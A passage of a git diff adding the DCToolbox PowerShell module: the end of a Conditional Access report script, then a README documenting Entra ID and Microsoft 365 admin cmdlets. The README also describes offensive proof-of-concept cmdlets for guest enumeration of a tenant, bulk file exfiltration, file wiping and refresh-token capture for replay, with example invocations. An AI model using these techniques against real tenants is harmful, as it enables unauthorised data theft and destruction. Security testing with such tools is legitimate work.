1) { + $includeGroups = $includeGroups.Substring(0, "$includeGroups".Length - 1) + } + + [string]$includeGroups = [string]$includeGroups -replace "`r`n ", "`r`n" + + $CustomObject | Add-Member -MemberType NoteProperty -Name "includeGroups" -Value $includeGroups + + + # Format include users. + [string]$includeUsers = $Policy.includeUsersUserPrincipalName -replace " ", "`r`n" + if ($includeUsers) { + [string]$includeUsers += "`r`n" + } + + if ($IncludeGroupMembers) { + [string]$includeUsers += foreach ($Group in $Policy.includeGroupsDisplayName) { + [string](($includeGroupMembersFromAd | Where-Object { $_.Group -eq $Group }).Members | Sort-Object) -replace " ", "`r`n" + } + } + + $includeUsers = $includeUsers -replace " ", "`r`n" + + $CustomObject | Add-Member -MemberType NoteProperty -Name "includeUsers" -Value $includeUsers + + foreach ($User in ($Policy.includeUsersUserPrincipalName | Sort-Object)) { + $includeUsers = "$includeUsers`r`n$User" + } + + + # Format include roles. + [string]$includeRoles = foreach ($Role in ($Policy.includeRolesDisplayName | Sort-Object)) { + "$Role`r`n" + } + + if ($includeRoles.Length -gt 1) { + $includeRoles = $includeRoles.Substring(0, "$includeRoles".Length - 1) + } + + [string]$includeRoles = [string]$includeRoles -replace "`r`n ", "`r`n" + + $CustomObject | Add-Member -MemberType NoteProperty -Name "includeRoles" -Value $includeRoles + + + # Format exclude groups. + [string]$excludeGroups = foreach ($Group in ($Policy.excludeGroupsDisplayName | Sort-Object)) { + "$Group`r`n" + } + + if ($excludeGroups.Length -gt 1) { + $excludeGroups = $excludeGroups.Substring(0, "$excludeGroups".Length - 1) + } + + [string]$excludeGroups = [string]$excludeGroups -replace "`r`n ", "`r`n" + + $CustomObject | Add-Member -MemberType NoteProperty -Name "excludeGroups" -Value $excludeGroups + + + # Format exclude users. + [string]$excludeUsers = $Policy.excludeUsersUserPrincipalName -replace " ", "`r`n" + if ($excludeUsers) { + [string]$excludeUsers += "`r`n" + } + + if ($IncludeGroupMembers) { + [string]$excludeUsers += foreach ($Group in $Policy.excludeGroupsDisplayName) { + [string](($ExcludeGroupMembersFromAd | Where-Object { $_.Group -eq $Group }).Members | Sort-Object) -replace " ", "`r`n" + } + } + + $excludeUsers = $excludeUsers -replace " ", "`r`n" + + $CustomObject | Add-Member -MemberType NoteProperty -Name "excludeUsers" -Value $excludeUsers + + foreach ($User in ($Policy.excludeUsersUserPrincipalName | Sort-Object)) { + $excludeUsers = "$excludeUsers`r`n$User" + } + + + # Format exlude roles. + [string]$exludeRoles = foreach ($Role in ($Policy.excludeRolesDisplayName | Sort-Object)) { + "$Role`r`n" + } + + if ($exludeRoles.Length -gt 1) { + $exludeRoles = $exludeRoles.Substring(0, "$exludeRoles".Length - 1) + } + + [string]$exludeRoles = [string]$exludeRoles -replace "`r`n ", "`r`n" + + $CustomObject | Add-Member -MemberType NoteProperty -Name "exludeRoles" -Value $exludeRoles + + + # Output the result. + $CustomObject + } + + + # Export the result to Excel. + Write-Verbose -Verbose -Message "Exporting report to Excel..." + $Path = "$((Get-Location).Path)\Conditional Access Assignment Report $(Get-Date -Format 'yyyy-MM-dd').xlsx" + $Result | Export-Excel -Path $Path -WorksheetName "CA Assignments" -BoldTopRow -FreezeTopRow -AutoFilter -AutoSize -ClearSheet -Show + + + Write-Verbose -Verbose -Message "Saved $Path" + Write-Verbose -Verbose -Message "Done!" + + + # ----- [End] ----- +} diff --git a/CSTijgers/DCToolbox-main/README.md b/CSTijgers/DCToolbox-main/README.md new file mode 100644 index 0000000..dba2a7d --- /dev/null +++ b/CSTijgers/DCToolbox-main/README.md @@ -0,0 +1,1336 @@ +# DCToolbox + +A PowerShell toolbox for Microsoft 365 security fans. + +*Author: Daniel Chronlund (https://danielchronlund.com)* + +--------------------------------------------------- + + +## About DCToolbox + +This PowerShell module contains a collection of tools for Microsoft 365 security tasks, Microsoft Graph functions, Entra ID management, Conditional Access, zero trust strategies, attack and defense scenarios, etc. + +--------------------------------------------------- + + +## Get Started + +Install the module from the PowerShell Gallery by running: + + Install-Module DCToolbox + +If you already installed it, update to the latest version by running: + + Update-Module DCToolbox + +PowerShell Gallery package link: https://www.powershellgallery.com/packages/DCToolbox + +When you have installed it, to get started, run: + + Get-DCHelp + +Explore and copy script examples to your clipboard with: + + Copy-DCExample + +--------------------------------------------------- + +## Included Tools + +### Add-DCConditionalAccessPoliciesBreakGlassGroup + +**Synopsis:** + +Excludes a specified Entra ID security group from all Conditional Access policies in the tenant. + +**Details:** + +Excludes a specified Entra ID security group from all Conditional Access policies in the tenant. + +Please create the group and add your break glass accounts before running this command. + +You can filter on a name prefix with -PrefixFilter. + +**Parameters:** + + -PrefixFilter + Description: Only modify the policies with this prefix. + Required: false + + -ExcludeGroupName + Description: The name of your exclude group in Entra ID. Please create the group and add your break glass accounts before running this command. + Required: true + +**Examples:** + + + Add-DCConditionalAccessPoliciesBreakGlassGroup -PrefixFilter 'GLOBAL - ' -ExcludeGroupName 'Excluded from Conditional Access' + +--- + +### Confirm-DCPowerShellVersion + +**Synopsis:** + +Check that a supported PowerShell version is running. + +**Details:** + + + +**Parameters:** + +**Examples:** + + + Confirm-DCPowerShellVersion + + Confirm-DCPowerShellVersion -Verbose + +--- + +### Connect-DCMsGraphAsApplication + +**Synopsis:** + +Connect to Microsoft Graph with application credentials. + +**Details:** + +This CMDlet will automatically connect to Microsoft Graph using application permissions (as opposed to delegated credentials). If successfull an access token is returned that can be used with other Graph CMDlets. Make sure you store the access token in a variable according to the example. + +Before running this CMDlet, you first need to register a new application in your Entra ID according to this article: +https://danielchronlund.com/2018/11/19/fetch-data-from-microsoft-graph-with-powershell-paging-support/ + +**Parameters:** + + -ClientID + Description: Client ID for your Entra ID application. + Required: true + + -ClientSecret + Description: Client secret for the Entra ID application. + Required: true + + -TenantName + Description: The name of your tenant (example.onmicrosoft.com). + Required: true + +**Examples:** + + + $AccessToken = Connect-DCMsGraphAsApplication -ClientID '8a85d2cf-17c7-4ecd-a4ef-05b9a81a9bba' -ClientSecret 'j[BQNSi29Wj4od92ritl_DHJvl1sG.Y/' -TenantName 'example.onmicrosoft.com' + +--- + +### Connect-DCMsGraphAsUser + +**Synopsis:** + +Connect to Microsoft Graph with the Microsoft Graph PowerShell module as a user (using delegated permissions in Graph). + +**Details:** + + + +**Parameters:** + + -Scopes + Description: The required API permission scopes (delegated permissions). Example: "Policy.ReadWrite.ConditionalAccess", "Policy.Read.All" + Required: true + +**Examples:** + + + Connect-DCMsGraphAsUser -Scopes 'Policy.ReadWrite.ConditionalAccess', 'Policy.Read.All', 'Directory.Read.All' + + Connect-DCMsGraphAsUser -Scopes 'Policy.ReadWrite.ConditionalAccess', 'Policy.Read.All', 'Directory.Read.All' -Verbose + +--- + +### Copy-DCExample + +**Synopsis:** + + +Copy-DCExample + + +**Details:** + + + +**Parameters:** + +**Examples:** + + +--- + +### Deploy-DCConditionalAccessBaselinePoC + +**Synopsis:** + +Automatically deploy the latest version of the Conditional Access policy design baseline from https://danielchronlund.com. + +**Details:** + +This CMDlet downloads the latest version of the Conditional Access policy design baseline from https://danielchronlund.com/2020/11/26/azure-ad-conditional-access-policy-design-baseline-with-automatic-deployment-support/. It creates all necessary dependencies like exclusion groups, named locations, and terms of use, and then deploys all Conditional Access policies in the baseline. + +All Conditional Access policies created by this CMDlet will be set to report-only mode. + +The purpose of this tool is to quickly deploy the complete baseline as a PoC. You can then test, pilot, and deploy it going forward. + +You must be a Global Admin to run this command (because of the admin consent required) but no other preparations are required. + +**Parameters:** + + -AddCustomPrefix + Description: Adds a custom prefix to all policy names. + Required: false + + -ExcludeGroupDisplayName + Description: Set a custom name for the break glass exclude group. Default: 'Excluded from Conditional Access'. You can set this to an existing group if you already have one. + Required: false + + -ServiceAccountGroupDisplayName + Description: Set a custom name for the service account group. Default: 'Conditional Access Service Accounts'. You can set this to an existing group if you already have one. + Required: false + + -NamedLocationCorpNetwork + Description: Set a custom name for the corporate network named location. Default: 'Corporate Network'. You can set this to an existing named location if you already have one. + Required: false + + -NamedLocationAllowedCountries + Description: Set a custom name for the allowed countries named location. Default: 'Allowed Countries'. You can set this to an existing named location if you already have one. + Required: false + + -TermsOfUseName + Description: Set a custom name for the terms of use. Default: 'Terms of Use'. You can set this to an existing Terms of Use if you already have one. + Required: false + + -SkipPolicies + Description: Specify one or more policy names in the baseline that you want to skip. + Required: false + + -SkipReportOnlyMode + Description: All Conditional Access policies created by this CMDlet will be set to report-only mode if you don't use this parameter. WARNING: Use this parameter with caution since ALL POLICIES will go live for ALL USERS when you specify this. + Required: false + +**Examples:** + + + Deploy-DCConditionalAccessBaselinePoC + + Deploy-DCConditionalAccessBaselinePoC -AddCustomPrefix 'PILOT - ' + Deploy-DCConditionalAccessBaselinePoC @Parameters + # Customize names of dependencies. + $Parameters = @{ + ExcludeGroupDisplayName = 'Excluded from Conditional Access' + ServiceAccountGroupDisplayName = 'Conditional Access Service Accounts' + NamedLocationCorpNetwork = 'Corporate Network' + NamedLocationAllowedCountries = 'Allowed Countries' + TermsOfUseName = 'Terms of Use' + } + + Deploy-DCConditionalAccessBaselinePoC -SkipPolicies "GLOBAL - BLOCK - High-Risk Sign-Ins", "GLOBAL - BLOCK - High-Risk Users", "GLOBAL - GRANT - Medium-Risk Sign-Ins", "GLOBAL - GRANT - Medium-Risk Users" + + Deploy-DCConditionalAccessBaselinePoC -SkipReportOnlyMode # WARNING: USE WITH CAUTION! + +--- + +### Enable-DCEntraIDPIMRole + +**Synopsis:** + +Activate an Entra ID Privileged Identity Management (PIM) role with PowerShell. + +**Details:** + +Uses the Graph PowerShell module to activate a user selected Entra ID role in Entra ID Privileged Identity Management (PIM). + +During activation, the user will be prompted to specify a reason for the activation. + +**Parameters:** + + -RolesToActivate + Description: This parameter is optional but if you specify it, you can select multiple roles to activate at ones. + Required: false + + -Reason + Description: Specify the reason for activating your roles. + Required: false + + -UseMaximumTimeAllowed + Description: Use this switch to automatically request maximum allowed time for all role assignments. + Required: false + +**Examples:** + + + Enable-DCEntraIDPIMRole + + Enable-DCEntraIDPIMRole -RolesToActivate 'Exchange Administrator', 'Security Reader' + + Enable-DCEntraIDPIMRole -RolesToActivate 'Exchange Administrator', 'Security Reader' -UseMaximumTimeAllowed + + Enable-DCEntraIDPIMRole -RolesToActivate 'Exchange Administrator', 'Security Reader' -Reason 'Performing some Exchange security configuration.' -UseMaximumTimeAllowed + +--- + +### Export-DCConditionalAccessPolicyDesign + +**Synopsis:** + +Export all Conditional Access policies to JSON. + +**Details:** + +This CMDlet uses Microsoft Graph to export all Conditional Access policies in the tenant to a JSON file. This JSON file can be used for backup, documentation or to deploy the same policies again with Import-DCConditionalAccessPolicyDesign. You can basically treat Conditional Access as code! + +The user running this CMDlet (the one who signs in when the authentication pops up) must have the appropriate permissions in Entra ID (Global Admin, Security Admin, Conditional Access Admin, etc). + +**Parameters:** + + -FilePath + Description: The file path where the new JSON file will be created. Skip this to use the current path. + Required: false + + -PrefixFilter + Description: Only export the policies with this prefix. + Required: false + +**Examples:** + + + Export-DCConditionalAccessPolicyDesign + + $Parameters = @{ + FilePath = 'C:\Temp\Conditional Access.json' + } + Export-DCConditionalAccessPolicyDesign @Parameters + + $Parameters = @{ + FilePath = 'C:\Temp\Conditional Access.json' + PrefixFilter = 'GLOBAL - ' + } + Export-DCConditionalAccessPolicyDesign @Parameters + +--- + +### Get-DCConditionalAccessPolicies + +**Synopsis:** + +List all Conditional Access policies in the tenant. + +**Details:** + +List all Conditional Access policies in the tenant. + +You can filter on a name prefix with -PrefixFilter. + +**Parameters:** + + -PrefixFilter + Description: Only show the policies with this prefix. + Required: false + + -ShowTargetResources + Description: Show included and excluded resources in output. Only relevant without -Details. + Required: false + + -Details + Description: Include policy details in output. + Required: false + + -NamesOnly + Description: Show names only in output. + Required: false + +**Examples:** + + + Get-DCConditionalAccessPolicies + + Get-DCConditionalAccessPolicies -PrefixFilter 'GLOBAL - ' + +--- + +### Get-DCEntraIDUsersAndGroupsAsGuest + +**Synopsis:** + +This script lets a guest user enumerate users and security groups/teams when 'Guest user access restrictions' in Entra ID is set to the default configuration. + +**Details:** + +This script is a proof of concept. Don't use it for bad things! It lets a guest user enumerate users and security groups/teams when 'Guest user access restrictions' in Entra ID is set to the default configuration. It works around the limitation that guest users must do explicit lookups for users and groups. It basically produces a list of all users and groups in the tenant, even though such actions are blocked for guests by default. + +If the target tenant allows guest users to sign in with Entra ID PowerShell, and the 'Guest user access restrictions' is set to one of these two settings: +'Guest users have the same access as members (most inclusive)' +'Guest users have limited access to properties and memberships of directory objects' [default] + +And not set to: +'Guest user access is restricted to properties and memberships of their own directory objects (most restrictive)' + +...then this script will query Entra ID for the group memberships of the specified -InterestingUsers that you already know the UPN of. It then perform nested queries until all users and groups have been found. It will stop after a maximum of 5 iterations to avoid throttling and infinite loops. "A friend of a friend of a friend..." + +Finally, the script will output one array with found users, and one array with found groups/teams. You can then export them to CSV or some other format of your choice. Export examples are outputed for your convenience. + +**Parameters:** + + -TenantId + Description: The tenant ID of the target tenant where you are a guest. You can find all your guest tenant IDs here: https://portal.azure.com/#settings/directory + Required: true + + -AccountId + Description: Your UPN in your home tenant (probably your email address, right?). + Required: true + + -InterestingUsers + Description: One or more UPNs of users in the target tenant. These will serve as a starting point for the search, and one or two employees you know about is often sufficient to enumerate everything. + Required: true + +**Examples:** + + + Get-DCEntraIDUsersAndGroupsAsGuest -TenantId '00000000-0000-0000-0000-000000000000' -AccountId 'user@example.com' -InterestingUsers 'customer1@customer.com', 'customer2@customer.com' + +--- + +### Get-DCHelp + +**Synopsis:** + + +Get-DCHelp + + +**Details:** + + + +**Parameters:** + +**Examples:** + + +--- + +### Get-DCNamedLocations + +**Synopsis:** + +List Named Locations in the tenant. + +**Details:** + +List Named Locations in the tenant. + +You can filter on a name prefix with -PrefixFilter. + +**Parameters:** + + -PrefixFilter + Description: Only show the named locations with this prefix. + Required: false + +**Examples:** + + + Get-DCNamedLocations + + Get-DCNamedLocations -PrefixFilter 'OFFICE-' + + # List all trusted IP addresses. + (Get-DCNamedLocations | where isTrusted -eq $true).ipRanges | Select-Object -Unique | Sort-Object + + # List all countries. + (Get-DCNamedLocations).countriesAndRegions | Select-Object -Unique | Sort-Object + +--- + +### Get-DCPublicIp + +**Synopsis:** + +Get current public IP address information. + +**Details:** + +Get the current public IP address and related information. The ipinfo.io API is used to fetch the information. You can use the -UseTorHttpProxy to route traffic through a running Tor network HTTP proxy that was started by Start-DCTorHttpProxy. + +**Parameters:** + + -UseTorHttpProxy + Description: Route traffic through a running Tor network HTTP proxy that was started by Start-DCTorHttpProxy. + Required: false + +**Examples:** + + + Get-DCPublicIp + + (Get-DCPublicIp).ip + + Write-Host "$((Get-DCPublicIp).city) $((Get-DCPublicIp).country)" + +--- + +### Import-DCConditionalAccessPolicyDesign + +**Synopsis:** + +Import Conditional Access policies from JSON. + +**Details:** + +This CMDlet uses Microsoft Graph to automatically create Conditional Access policies from a JSON file. + +The JSON file can be created from existing policies with Export-DCConditionalAccessPolicyDesign or manually by following the syntax described in the Microsoft Graph documentation: +https://docs.microsoft.com/en-us/graph/api/resources/conditionalaccesspolicy?view=graph-rest-1.0 + +All Conditional Access policies created by this CMDlet will be set to report-only mode if you don't use the -SkipReportOnlyMode override. + +WARNING: If you want to, you can also delete all existing policies when deploying your new ones with -DeleteAllExistingPolicies, Use this parameter with caution and always create a backup with Export-DCConditionalAccessPolicyDesign first! + +The user running this CMDlet (the one who signs in when the authentication pops up) must have the appropriate permissions in Entra ID (Global Admin, Security Admin, Conditional Access Admin, etc). + +As a best practice you should always have an Entra ID security group with break glass accounts excluded from all Conditional Access policies. + +**Parameters:** + + -FilePath + Description: The file path of the JSON file containing your Conditional Access policies. + Required: true + + -SkipReportOnlyMode + Description: All Conditional Access policies created by this CMDlet will be set to report-only mode if you don't use this parameter. + Required: false + + -DeleteAllExistingPolicies + Description: WARNING: If you want to, you can delete all existing policies when deploying your new ones with -DeleteAllExistingPolicies, Use this parameter with causon and allways create a backup with Export-DCConditionalAccessPolicyDesign first!! + Required: false + + -AddCustomPrefix + Description: Adds a custom prefix to all policy names. + Required: false + + -PrefixFilter + Description: Only import (and delete) the policies with this prefix in the JSON file. + Required: false + +**Examples:** + + Import-DCConditionalAccessPolicyDesign @Parameters + $Parameters = @{ + FilePath = 'C:\Temp\Conditional Access.json' + SkipReportOnlyMode = $false + DeleteAllExistingPolicies = $false + } + Import-DCConditionalAccessPolicyDesign @Parameters + $Parameters = @{ + FilePath = 'C:\Temp\Conditional Access.json' + SkipReportOnlyMode = $false + DeleteAllExistingPolicies = $false + AddCustomPrefix = 'PILOT - ' + } + Import-DCConditionalAccessPolicyDesign @Parameters + $Parameters = @{ + FilePath = 'C:\Temp\Conditional Access.json' + SkipReportOnlyMode = $true + DeleteAllExistingPolicies = $true + PrefixFilter = 'GLOBAL - ' + } + +--- + +### Install-DCMicrosoftGraphPowerShellModule + +**Synopsis:** + +Check, install, and update the Microsoft Graph PowerShell module. + +**Details:** + + + +**Parameters:** + +**Examples:** + + + Install-DCMicrosoftGraphPowerShellModule + + Install-DCMicrosoftGraphPowerShellModule -Verbose + +--- + +### Install-DCToolbox + +**Synopsis:** + +Check, install, and update the DCToolbox PowerShell module. + +**Details:** + + + +**Parameters:** + +**Examples:** + + + Install-DCToolbox + + Install-DCToolbox -Verbose + +--- + +### Invoke-DCConditionalAccessSimulation + +**Synopsis:** + +Simulates the Entra ID Conditional Access evaluation process of a specific scenario. + +**Details:** + +Uses Microsoft Graph to fetch all Entra ID Conditional Access policies. It then evaluates which policies that would have been applied if this was a real sign-in to Entra ID. Use the different parameters available to specify the conditions. Details are included under each parameter. + +**Parameters:** + + -JSONFile + Description: Only use this parameter if you want to analyze a local JSON file export of Conditional Access polices, instead of a live tenant. Point it to the local JSON file. Export JSON with Export-DCConditionalAccessPolicyDesign (or any other tool exporting Conditional Access policies from Microsoft Graph to JSON), like 'Entra Exporter'. + Required: false + + -UserPrincipalName + Description: The UPN of the simulated Entra ID user signing in. Can also be set to 'All' for all users, or 'GuestsOrExternalUsers' to test external user sign-in scenarios. Example: 'user@example.com'. Default: 'All'. + Required: false + + -ApplicationDisplayName + Description: The display name of the application targeted by Conditional Access policies (same display name as in Entra ID Portal when creating Conditional Access policies). Example 1: 'Office 365'. Example 2: 'Microsoft Admin Portals'. Default: 'All'. + Required: false + + -UserAction + Description: Under construction... + Required: false + + -ClientApp + Description: The client app type used during sign-in. Possible values: 'browser', 'mobileAppsAndDesktopClients', 'exchangeActiveSync', 'easSupported', 'other'. Default: 'browser' + Required: false + + -TrustedIPAddress + Description: Specify if the simulated sign-in comes from a trusted IP address (marked as trusted in Named Locations)? $true or $false? Don't specify the actual IP address. That is not really that important when simulating policy evaluation. Default: $false + Required: false + + -Country + Description: The country code for the sign-in country of origin based on IP address geo data. By default, this script tries to resolve the IP address of the current PowerShell session. + Required: false + + -Platform + Description: Specify the OS platform of the client signing in. Possible values: 'all', 'android', 'iOS', 'windows', 'windowsPhone', 'macOS', 'linux', 'spaceRocket'. Default: 'windows' + Required: false + + -SignInRiskLevel + Description: Specify the Entra ID Protection sign-in risk level. Possible values: 'none', 'low', 'medium', 'high'. Default: 'none' + Required: false + + -UserRiskLevel + Description: Specify the Entra ID Protection user risk level. Possible values: 'none', 'low', 'medium', 'high'. Default: 'none' + Required: false + + -SummarizedOutput + Description: By default, this script returns PowerShell objects representing all applied Conditional Access policies only. This can be used for piping to other tools, etc. But sometimes you also want a simple answer of what would happen during the simulated policy evaluation. Specify this parameter to add a summarized and simplified output (outputs to 'Informational' stream with Write-Host). + Required: false + + -VerbosePolicyEvaluation + Description: Include detailed verbose policy evaluation info. Use for troubleshooting and debugging. + Required: false + + -IncludeNonMatchingPolicies + Description: Also, include all policies that did not match, and therefor was not applied. This can be useful to produce different kinds of Conditional Access reports. + Required: false + +**Examples:** + + + # Run basic evaluation with default settings. + Invoke-DCConditionalAccessSimulation | Format-List + Invoke-DCConditionalAccessSimulation @Parameters + # Run evaluation with custom settings. + $Parameters = @{ + UserPrincipalName = 'user@example.com' + ApplicationDisplayName = 'Office 365' + ClientApp = 'mobileAppsAndDesktopClients' + TrustedIPAddress = $true + Country = 'US' + Platform = 'windows' + SignInRiskLevel = 'medium' + UserRiskLevel = 'high' + SummarizedOutput = $true + VerbosePolicyEvaluation = $false + IncludeNonMatchingPolicies = $false + } + + # Run basic evaluation offline against a JSON of Conditional Access policies. + Invoke-DCConditionalAccessSimulation -JSONFile 'Conditional Access Backup.json' | Format-List + +--- + +### Invoke-DCEntraIDDeviceAuthFlow + +**Synopsis:** + +Get a refresh token (or access token) from Entra ID using device code flow. + +**Details:** + +This CMDlet will start a device code flow authentication process in Entra ID. Go to the provided URL and enter the code to authenticate. The script will wait for the authentication and then return the refresh token, and also copy it to the clipboard. + +A refresh token fetched by this tool can be replayed on another device. + +**Parameters:** + + -ShowTokenDetails + Description: Add this parameter if you want to display the token details on successful authentication. + Required: false + + -ReturnAccessTokenInsteadOfRefreshToken + Description: Return an access token instead of a refresh token. + Required: false + + -ClientID + Description: OPTIONAL: Specify the client ID for which a refresh token should be requested. Defaults to 'Microsoft Azure PowerShell' (1950a258-227b-4e31-a9cf-717495945fc2). If you set this parameter, you must also specify -TenantID. Note that the app registration in Entra ID must have device code flow enabled under Authentication > Advanced settings. + Required: false + + -TenantID + Description: OPTIONAL: Specify your tenant ID. You only need to specify this if you're specifying a ClientID with -ClientID. This is because Microsoft needs to now in which tenant a specific app is located. + Required: false + +**Examples:** + + + Invoke-DCEntraIDDeviceAuthFlow + + $RefreshToken = Invoke-DCEntraIDDeviceAuthFlow + + Invoke-DCEntraIDDeviceAuthFlow -ShowTokenDetails + + Invoke-DCEntraIDDeviceAuthFlow -ClientID '' -TenantID '' + +--- + +### Invoke-DCHuntingQuery + +**Synopsis:** + +Connect to Microsoft Graph with the Microsoft Graph PowerShell module and run a KQL hunting query in Microsoft Defender XDR. + +**Details:** + +Connect to Microsoft Graph with the Microsoft Graph PowerShell module and run a KQL hunting query in Microsoft Defender XDR. + +**Parameters:** + + -Query + Description: The KQL query you want to run in Microsoft Defender XDR. + Required: true + + -IncludeKQLQueryAtTop + Description: + Required: false + + -IncludeRaw + Description: Include the raw formated and escaped KQL query sent to Microsoft Graph. + Required: false + +**Examples:** + + Invoke-DCHuntingQuery -Query $Query + $Query = @' + DeviceEvents + | where ActionType startswith "Asr" + | summarize count() by ActionType + | order by count_ + '@ + Invoke-DCHuntingQuery -Query $Query -IncludeKQLQueryAtTop + $Query = @' + DeviceEvents + | where ActionType startswith "Asr" + | summarize count() by ActionType + | order by count_ + '@ + +--- + +### Invoke-DCM365DataExfiltration + +**Synopsis:** + +This script uses an Entra ID app registration to download all files from all M365 groups (Teams) document libraries in a tenant. + +**Details:** + +This script is a proof of concept and for testing purposes only. Do not use this script in an unethical or unlawful way. Don’t be stupid! + +This script showcase how an attacker can exfiltrate huge amounts of files from a Microsoft 365 tenant, using a poorly protected Entra ID app registration with any of the following Microsoft Graph permissions: + +- Files.Read.All +- Files.ReadWrite.All +- Sites.Read.All +- Sites.ReadWrite.All + +Also, one of the following permissions is required to enumerate M365 groups and SharePoint document libraries: + +- GroupMember.Read.All +- Group.Read.All +- Directory.Read.All +- Group.ReadWrite.All +- Directory.ReadWrite.All + +The script will loop through all M365 groups and their SharePoint Online document libraries (used by Microsoft Teams for storing files) and download all files it can find, down to three folder levels. The files will be downloaded to the current directory. + +A list of downloaded files will be copied to the clipboard after completion. + +You can run the script with -WhatIf to skip the actual downloads. It will still show the output and what would have been downloaded. + +**Parameters:** + + -ClientID + Description: Client ID for your Entra ID application. + Required: true + + -ClientSecret + Description: Client secret for the Entra ID application. + Required: true + + -TenantName + Description: The name of your tenant (example.onmicrosoft.com). + Required: true + + -WhatIf + Description: Skip the actual downloads. It will still show the output and what would have been downloaded. + Required: false + +**Examples:** + + + Invoke-M365DataExfiltration -ClientID '8a85d2cf-17c7-4ecd-a4ef-05b9a81a9bba' -ClientSecret 'j[BQNSi29Wj4od92ritl_DHJvl1sG.Y/' -TenantName 'example.onmicrosoft.com' + + Invoke-M365DataExfiltration -ClientID '8a85d2cf-17c7-4ecd-a4ef-05b9a81a9bba' -ClientSecret 'j[BQNSi29Wj4od92ritl_DHJvl1sG.Y/' -TenantName 'example.onmicrosoft.com' -WhatIf + +--- + +### Invoke-DCM365DataWiper + +**Synopsis:** + +This script uses an Entra ID app registration to wipe all files from all M365 groups (Teams) document libraries in a tenant. + +**Details:** + +This script is a proof of concept and for testing purposes only. Do not use this script in an unethical or unlawful way. Don’t be stupid! + +This script showcase how an attacker can wipe huge amounts of files from a Microsoft 365 tenant, using a poorly protected Entra ID app registration with any of the following Microsoft Graph permissions: + +- Files.ReadWrite.All +- Sites.ReadWrite.All + +Also, one of the following permissions is required to enumerate M365 groups and SharePoint document libraries: + +- GroupMember.Read.All +- Group.Read.All +- Directory.Read.All +- Group.ReadWrite.All +- Directory.ReadWrite.All + +The script will loop through all M365 groups and their SharePoint Online document libraries (used by Microsoft Teams for storing files) and delete all files it can find, down to three folder levels. The files will be downloaded to the current directory. + +A list of downloaded files will be copied to the clipboard after completion. + +You can run the script with -WhatIf to skip the actual deletion. It will still show the output and what would have been deleted. + +**Parameters:** + + -ClientID + Description: Client ID for your Entra ID application. + Required: true + + -ClientSecret + Description: Client secret for the Entra ID application. + Required: true + + -TenantName + Description: The name of your tenant (example.onmicrosoft.com). + Required: true + + -WhatIf + Description: Skip the actual deletion. It will still show the output and what would have been deleted. + Required: false + +**Examples:** + + + Invoke-DCM365DataWiper -ClientID '8a85d2cf-17c7-4ecd-a4ef-05b9a81a9bba' -ClientSecret 'j[BQNSi29Wj4od92ritl_DHJvl1sG.Y/' -TenantName 'example.onmicrosoft.com' + + Invoke-DCM365DataWiper -ClientID '8a85d2cf-17c7-4ecd-a4ef-05b9a81a9bba' -ClientSecret 'j[BQNSi29Wj4od92ritl_DHJvl1sG.Y/' -TenantName 'example.onmicrosoft.com' -WhatIf + +--- + +### Invoke-DCMsGraphQuery + +**Synopsis:** + +Run a Microsoft Graph query. + +**Details:** + +This CMDlet will run a query against Microsoft Graph and return the result. It will connect using an access token generated by Connect-DCMsGraphAsDelegated or Connect-DCMsGraphAsApplication (depending on what permissions you use in Graph). + +Before running this CMDlet, you first need to register a new application in your Entra ID according to this article: +https://danielchronlund.com/2018/11/19/fetch-data-from-microsoft-graph-with-powershell-paging-support/ + +**Parameters:** + + -AccessToken + Description: An access token generated by Connect-DCMsGraphAsDelegated or Connect-DCMsGraphAsApplication (depending on what permissions you use in Graph). + Required: true + + -GraphMethod + Description: The HTTP method for the Graph call, like GET, POST, PUT, PATCH, DELETE. Default is GET. + Required: false + + -GraphUri + Description: The Microsoft Graph URI for the query. Example: https://graph.microsoft.com/v1.0/users/ + Required: true + + -GraphBody + Description: The request body of the Graph call. This is often used with methids like POST, PUT and PATCH. It is not used with GET. + Required: false + +**Examples:** + + + Invoke-DCMsGraphQuery -AccessToken $AccessToken -GraphMethod 'GET' -GraphUri 'https://graph.microsoft.com/v1.0/users/' + +--- + +### New-DCConditionalAccessAssignmentReport + +**Synopsis:** + +Automatically generate an Excel report containing your current Conditional Access assignments. + +**Details:** + +Uses Microsoft Graph to fetch all Conditional Access policy assignments, both group- and user assignments (for now, it doesn't support role assignments). It exports them to Excel in a nicely formatted report for your filtering and analysing needs. If you include the -IncludeGroupMembers parameter, members of assigned groups will be included in the report as well (of course, this can produce very large reports if you have included large groups in your policy assignments). + +The purpose of the report is to give you an overview of how Conditional Access policies are currently applied in an Entra ID tenant, and which users are targeted by which policies. + +The report does not include information about the policies themselves. Use New-DCConditionalAccessPolicyDesignReport for that task. + +The CMDlet also uses the PowerShell Excel Module for the export to Excel. You can install this module with: +Install-Module ImportExcel -Force + +The report is exported to Excel and will automatically open. In Excel, please do this: +1. Select all cells. +2. Click on "Wrap Text". +3. Click on "Top Align". + +The report is now easier to read. + +More information can be found here: https://danielchronlund.com/2020/10/20/export-your-conditional-access-policy-assignments-to-excel/ + +**Parameters:** + + -IncludeGroupMembers + Description: If you include the -IncludeGroupMembers parameter, members of assigned groups will be included in the report as well (of course, this can produce a very large report if you have included large groups in your policy assignments). + Required: false + +**Examples:** + + + New-DCConditionalAccessAssignmentReport + + New-DCConditionalAccessAssignmentReport -IncludeGroupMembers + +--- + +### New-DCConditionalAccessPolicyDesignReport + +**Synopsis:** + +Automatically generate an Excel report containing your current Conditional Access policy design. + +**Details:** + +Uses Microsoft Graph to fetch all Conditional Access policies and exports an Excel report, You can use the report as documentation, design document, or to get a nice overview of all your policies. + +The CMDlet also uses the PowerShell Excel Module for the export to Excel. You can install this module with: +Install-Module ImportExcel -Force + +The report is exported to Excel and will automatically open. In Excel, please do this: +1. Select all cells. +2. Click on "Wrap Text". +3. Click on "Top Align". + +The report is now easier to read. + +The user running this CMDlet (the one who signs in when the authentication pops up) must have the appropriate permissions in Entra ID (Global Admin, Security Admin, Conditional Access Admin, etc). + +**Parameters:** + +**Examples:** + + + New-DCConditionalAccessPolicyDesignReport + +--- + +### New-DCEntraIDAppPermissionsReport + +**Synopsis:** + +Generate a report containing all Entra ID Enterprise Apps and App Registrations with API permissions (application permissions only) in the tenant. + +**Details:** + +Uses Microsoft Graph to fetch all Entra ID Enterprise Apps and App Registrations with API permissions (application permissions only) and generate a report. The report includes app names, API permissions, secrets/certificates, and app owners. + +The purpose is to find vulnerable applications and API permissions in Entra ID. + +Applications marked with 'AppHostedInExternalTenant = False' also has a corresponding App Registration in this tenant. This means that App Registration Owners has the same permissions as the application. + +**Parameters:** + +**Examples:** + + + # Get all API application permissions assigned to applications in tenant. + New-DCEntraIDAppPermissionsReport + + # 